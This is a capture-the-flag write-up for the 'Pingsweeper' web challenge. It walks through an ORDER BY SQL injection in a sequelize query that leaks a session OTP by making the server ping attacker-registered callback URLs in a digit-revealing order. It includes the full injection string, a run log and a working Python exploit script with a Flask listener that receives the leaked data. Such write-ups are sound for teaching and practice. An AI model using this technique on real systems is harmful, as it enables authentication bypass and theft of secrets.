Tags: side-channel order-by sql-injection
Rating:
## Pingsweeper writeup
Our CTF financial analyst lost his phone, and now he cannot login to the dashboard to analyze our finances.
Those damn OTPs! Maybe you can help?
His phone number is +912213371337.
URL: https://pingsweeper.appsecil.ctf.today/
By Michael Maltsev and Artur Isakhanyan
---
Spent a long time on this challenge! But it was a lot of funt, and quite different from other SQL injection challenges.
We get the source code for this web application, quickly notice that a MySQL server is in use, and the web application is a nodejs project.
After skimming through the source code we see that there are a few endpoints:
- /signin
- /endpoint
- /api
- /api/addEndpoint
- /api/getEndpoints
- /api/clearEndpoints
- /api/login
- /api/confirmOtp
Shortly summarized, this is a login page where you first log in with a phone number. The phone number is hard coded into the application, and can easily be found in the source code, After a phone number has been provided, the server will create a OTP token for you. This OTP token needs to be confirmed in order to get the flag. The OTP token gets stored in the database as a session variable @OTP. Next, the server fetches all endpoints registered for a specific user (with a uuid), before encrypting the OTP and timestamp and storing it in a cookie (otpStamp).
On the confirmOtp page, it decrypts the otpStamp cookie and checks if it is equal to the OTP sent by the user. If correct, it will give us the flag.
The database is used to store endpoints for users. Each user can add endpoints (stored in database with id, url and uuid), clear endpoints or fetch endpoints. It seems like you can add as much endpoints you like.
The goal of this challenge is to leak the @OTP session variable and send it back to us, so that we can confirm it and get the flag. A vulnerable version of sequelize is used, so it should be possible to use SQL injection if there are some misconfigurated SQL queries.
```js
const results = await endpointsModel.findAll({
where: {
uuid: {
$eq: req.cookies.uuid
}
},
order: req.body.order,
limit: parseInt(req.body.limit, 10) || 3,
transaction
});
```
After some time we find a vulnerability in the "order" query of this sequelize query. It seems like we can input anything into the "ORDER BY" part of the query, without it getting escaped.
The problem about this is that it is very hard to leak any information this way. The only good solution I found to leak anything is to order columns in the endpoint table a certain way so that we know what the @OTP variable is. This is no problem to do, since we can send in many urls.
The first step is to find a way to order on the url column based on what value @OTP has:
- We can use find_in_set, mid, and substr to achieve this.
If we add endpoints that look like this:
```
http://<ip>/?0-------
http://<ip>/?1-------
http://<ip>/?2-------
http://<ip>/?3-------
http://<ip>/?4-------
http://<ip>/?5-------
...
http://<ip>/?-1------
http://<ip>/?-2------
http://<ip>/?-3------
...
http://<ip>/?-------9
```
We can sort each index of these query-parameters based on the value of @OTB, and we will know which position each number should be in.
I automated the creation of these urls in my script.
To leak the first character of @OTB, we can do this. `find_in_set(mid(url,-8,1),substr(@OTP,1,1)) desc`
- `find_in_set(mid(url,-8,1),substr(@OTP,1,1)) desc` is the same as `find_in_set('0','0') desc` if @OTB is 01234567 for example.
- If the first number actually is 0, then the first URL the server will "ping" (fetch) would be the url with 0 on the first index.
We repeat the same thing for all indexes, since SQL can sort on multiple values, and the first 8 urls the server visits will show us each number on their specific indexes.
Our final query will look something like this (We also do a limit 8, so that the server will only query 8 of our urls):
```sql
find_in_set(mid(url,-8,1),substr(@OTP,1,1)) desc, find_in_set(mid(url,-7,1),substr(@OTP,2,1)) desc, find_in_set(mid(url,-6,1),substr(@OTP,3,1)) desc, find_in_set(mid(url,-5,1),substr(@OTP,4,1)) desc, find_in_set(mid(url,-4,1),substr(@OTP,5,1)) desc, find_in_set(mid(url,-3,1),substr(@OTP,6,1)) desc, find_in_set(mid(url,-2,1),substr(@OTP,7,1)) desc, find_in_set(mid(url,-1,1),substr(@OTP,8,1)) desc limit 8-- -
```
The next step is to set up a web server and parse the incoming requests to put together our OTP code. I ran Flask in another thread so that I could send the SQL injection after Flask had started. Once the OTB key is parsed, we can confirm it using the OTP stamp cookie and get the flag:
```bash
$ python3 pingsweeper.py
find_in_set(mid(url,-8,1),substr(@OTP,1,1)) desc, find_in_set(mid(url,-7,1),substr(@OTP,2,1)) desc, find_in_set(mid(url,-6,1),substr(@OTP,3,1)) desc, find_in_set(mid(url,-5,1),substr(@OTP,4,1)) desc, find_in_set(mid(url,-4,1),substr(@OTP,5,1)) desc, find_in_set(mid(url,-3,1),substr(@OTP,6,1)) desc, find_in_set(mid(url,-2,1),substr(@OTP,7,1)) desc, find_in_set(mid(url,-1,1),substr(@OTP,8,1)) desc limit 8-- -
[*] Creating endpoints.
[*] Sending SQL injection query.
* Serving Flask app "pingsweeper" (lazy loading)
* Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead.
* Debug mode: on
* Running on http://0.0.0.0:15600/ (Press CTRL+C to quit)
18.134.59.71 - - [31/Oct/2020 08:22:55] "GET /?8------- HTTP/1.1" 200 -
18.134.59.71 - - [31/Oct/2020 08:22:56] "GET /?-2------ HTTP/1.1" 200 -
18.134.59.71 - - [31/Oct/2020 08:22:56] "GET /?--7----- HTTP/1.1" 200 -
18.134.59.71 - - [31/Oct/2020 08:22:56] "GET /?---1---- HTTP/1.1" 200 -
18.134.59.71 - - [31/Oct/2020 08:22:56] "GET /?----5--- HTTP/1.1" 200 -
18.134.59.71 - - [31/Oct/2020 08:22:56] "GET /?-----7-- HTTP/1.1" 200 -
18.134.59.71 - - [31/Oct/2020 08:22:56] "GET /?------1- HTTP/1.1" 200 -
18.134.59.71 - - [31/Oct/2020 08:22:56] "GET /?-------0 HTTP/1.1" 200 -
ok
Waiting until all requests have been received!
Leaked OTP: 82715710
OTP stamp from cookie: AWCGmTpwCRcTTti4tpxbhgo2j%2F1psTnOrBAHfEXg9tqxVDzvXQ%3D%3D
[*] Clearing endpoints.
Deleting endpoints: ok
[*] Logging in.
[+] FLAG: AppSec-IL{SH0u1d_H4v3_US3d_4_pR3p4R3d_ST4Tm3Nt}
```
FLAG: `AppSec-IL{SH0u1d_H4v3_US3d_4_pR3p4R3d_ST4Tm3Nt}`
The final script is a bit more automated:
```python
#!/usr/bin/env python3
import requests
import itertools
import threading
import urllib.parse
from flask import Flask, request
from math import factorial as fac
TEST = True
if TEST:
url = "http://localhost:3000/api"
else:
url = "https://pingsweeper.appsecil.ctf.today/api"
port = 9999
uuid = requests.get(url).cookies['uuid']
headers = {
"Cookie": f"uuid={uuid}"
}
def sql_query(otp_length):
subquery = "find_in_set(mid(url,{offset},1),substr(@OTP,{index},1)) desc"
subqueries = []
for i in range(otp_length):
subqueries.append(subquery.format(offset=-otp_length+i, index=i+1))
return f"{', '.join(subqueries)} limit {otp_length}-- -"
def create_endpoints(callback_url, otp_length):
for i in range(10):
suffixes = set(itertools.permutations([str(i)] + ['-'] * (otp_length-1)))
for suffix in suffixes:
data = {
"uuid": uuid,
"url": f"{callback_url}/?" + ''.join(suffix)
}
r = requests.post(f"{url}/addEndpoint", headers=headers, data=data)
def clear_endpoints():
r = requests.delete(f"{url}/clearEndpoints")
print("Deleting endpoints:", r.text)
def do_inject(query, otp_length):
global headers
OTP = ['-'] * otp_length
def flask_app():
app = Flask(__name__)
@app.route("/")
@app.route("/<path>")
def get_otp_part():
nonlocal OTP
otp = request.query_string.decode()
for i, d in enumerate(otp):
if d != '-':
OTP[i] = d
return ''
app.run(host='0.0.0.0', port=port, debug=True, use_reloader=False)
t_flask = threading.Thread(name="Flask app", target=flask_app)
t_flask.setDaemon(True)
t_flask.start()
sleep(1)
data = {
"phone": "+912213371337",
"order": query
}
r = requests.post(f"{url}/login", headers=headers, json=data)
otpstamp = r.cookies.get('otpStamp')
headers['Cookie'] += f'; otpStamp={otpstamp}'
print(r.text)
print("Waiting until all requests have been received!")
sleep(2)
OTP = int(''.join(OTP))
print("Leaked OTP:", OTP)
print("OTP stamp from cookie:", otpstamp)
return OTP
def confirm_otp(otp):
data = {
"otp": f"{otp}"
}
j = requests.post(f"{url}/confirmOtp", headers=headers, data=data).json()
if "flag" in j:
print("[+] FLAG:", j['flag'])
else:
print("[-] Something went wrong:", j)
return j
def main():
otp_length = 8
callback_endpoint = f"http://<IP ADDRESS OF YOUR OWN SERVER>:{port}"
query = sql_query(otp_length)
print(query)
print("[*] Creating endpoints.")
create_endpoints(callback_endpoint, otp_length)
print("[*] Sending SQL injection query.")
otp = do_inject(query, otp_length)
print("[*] Clearing endpoints.")
clear_endpoints()
print("[*] Logging in.")
confirm_otp(otp)
if __name__ == "__main__":
main()
```
